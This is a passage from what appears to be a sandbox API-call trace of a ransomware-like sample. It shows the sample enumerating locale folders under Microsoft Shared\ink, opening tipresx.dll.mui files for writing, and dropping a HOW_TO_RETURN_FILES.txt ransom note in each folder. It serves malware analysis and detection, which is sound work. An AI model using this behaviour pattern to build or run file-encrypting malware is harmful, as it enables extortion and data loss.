dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.021] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.022] AreFileApisANSI () returned 1 [0095.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.022] GetFileType (hFile=0x130) returned 0x1 [0095.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.023] AreFileApisANSI () returned 1 [0095.023] GetACP () returned 0x4e4 [0095.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ja-JP", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ja-JP", lpUsedDefaultChar=0x37df4c) returned 5 [0095.023] AreFileApisANSI () returned 1 [0095.023] GetACP () returned 0x4e4 [0095.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\j\x04") returned 57 [0095.024] AreFileApisANSI () returned 1 [0095.024] GetACP () returned 0x4e4 [0095.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.024] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.024] AreFileApisANSI () returned 1 [0095.024] GetACP () returned 0x4e4 [0095.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.024] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.024] AreFileApisANSI () returned 1 [0095.024] GetACP () returned 0x4e4 [0095.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.024] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.024] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.024] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.024] AreFileApisANSI () returned 1 [0095.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.025] GetFileType (hFile=0x130) returned 0x1 [0095.026] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.026] AreFileApisANSI () returned 1 [0095.026] GetACP () returned 0x4e4 [0095.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="journal.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="journal.dllll", lpUsedDefaultChar=0x37df4c) returned 11 [0095.026] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.026] AreFileApisANSI () returned 1 [0095.026] GetACP () returned 0x4e4 [0095.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ko-KRal.dll", lpUsedDefaultChar=0x37df4c) returned 5 [0095.026] AreFileApisANSI () returned 1 [0095.026] GetACP () returned 0x4e4 [0095.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\j\x04") returned 57 [0095.026] AreFileApisANSI () returned 1 [0095.026] GetACP () returned 0x4e4 [0095.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.026] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.026] AreFileApisANSI () returned 1 [0095.026] GetACP () returned 0x4e4 [0095.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.027] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.027] AreFileApisANSI () returned 1 [0095.027] GetACP () returned 0x4e4 [0095.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.027] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.027] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.027] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.027] AreFileApisANSI () returned 1 [0095.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.027] GetFileType (hFile=0x130) returned 0x1 [0095.028] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.028] AreFileApisANSI () returned 1 [0095.028] GetACP () returned 0x4e4 [0095.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="lt-LT", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="lt-LT", lpUsedDefaultChar=0x37df4c) returned 5 [0095.028] AreFileApisANSI () returned 1 [0095.028] GetACP () returned 0x4e4 [0095.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\j\x04") returned 57 [0095.029] AreFileApisANSI () returned 1 [0095.029] GetACP () returned 0x4e4 [0095.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.029] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.029] AreFileApisANSI () returned 1 [0095.029] GetACP () returned 0x4e4 [0095.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.029] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.029] AreFileApisANSI () returned 1 [0095.029] GetACP () returned 0x4e4 [0095.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.029] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.030] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.030] AreFileApisANSI () returned 1 [0095.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.030] GetFileType (hFile=0x130) returned 0x1 [0095.031] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.031] AreFileApisANSI () returned 1 [0095.031] GetACP () returned 0x4e4 [0095.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="lv-LV", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="lv-LV", lpUsedDefaultChar=0x37df4c) returned 5 [0095.031] AreFileApisANSI () returned 1 [0095.031] GetACP () returned 0x4e4 [0095.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\j\x04") returned 57 [0095.031] AreFileApisANSI () returned 1 [0095.031] GetACP () returned 0x4e4 [0095.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.032] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.032] AreFileApisANSI () returned 1 [0095.032] GetACP () returned 0x4e4 [0095.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.032] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.032] AreFileApisANSI () returned 1 [0095.032] GetACP () returned 0x4e4 [0095.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.032] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.032] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.032] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.032] AreFileApisANSI () returned 1 [0095.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.050] GetFileType (hFile=0x130) returned 0x1 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="micaut.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="micaut.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Ink.dll", cchWideChar=17, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Microsoft.Ink.dlln.dll", lpUsedDefaultChar=0x37df4c) returned 17 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mip.exe", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="mip.exeft.Ink.dll", lpUsedDefaultChar=0x37df4c) returned 7 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mraut.dll", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="mraut.dll.Ink.dll", lpUsedDefaultChar=0x37df4c) returned 9 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshwgst.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="mshwgst.dllnk.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshwLatin.dll", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="mshwLatin.dll.dll", lpUsedDefaultChar=0x37df4c) returned 13 [0095.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="nb-NOatin.dll", lpUsedDefaultChar=0x37df4c) returned 5 [0095.051] AreFileApisANSI () returned 1 [0095.051] GetACP () returned 0x4e4 [0095.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\") returned 57 [0095.052] AreFileApisANSI () returned 1 [0095.052] GetACP () returned 0x4e4 [0095.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.052] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.052] AreFileApisANSI () returned 1 [0095.052] GetACP () returned 0x4e4 [0095.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.052] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.052] AreFileApisANSI () returned 1 [0095.052] GetACP () returned 0x4e4 [0095.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.052] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.052] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.052] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.052] AreFileApisANSI () returned 1 [0095.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.053] GetFileType (hFile=0x130) returned 0x1 [0095.054] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.054] AreFileApisANSI () returned 1 [0095.054] GetACP () returned 0x4e4 [0095.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nl-NL", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="nl-NL", lpUsedDefaultChar=0x37df4c) returned 5 [0095.054] AreFileApisANSI () returned 1 [0095.054] GetACP () returned 0x4e4 [0095.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\j\x04") returned 57 [0095.055] AreFileApisANSI () returned 1 [0095.055] GetACP () returned 0x4e4 [0095.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.055] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.055] AreFileApisANSI () returned 1 [0095.055] GetACP () returned 0x4e4 [0095.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.055] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.055] AreFileApisANSI () returned 1 [0095.055] GetACP () returned 0x4e4 [0095.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.055] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 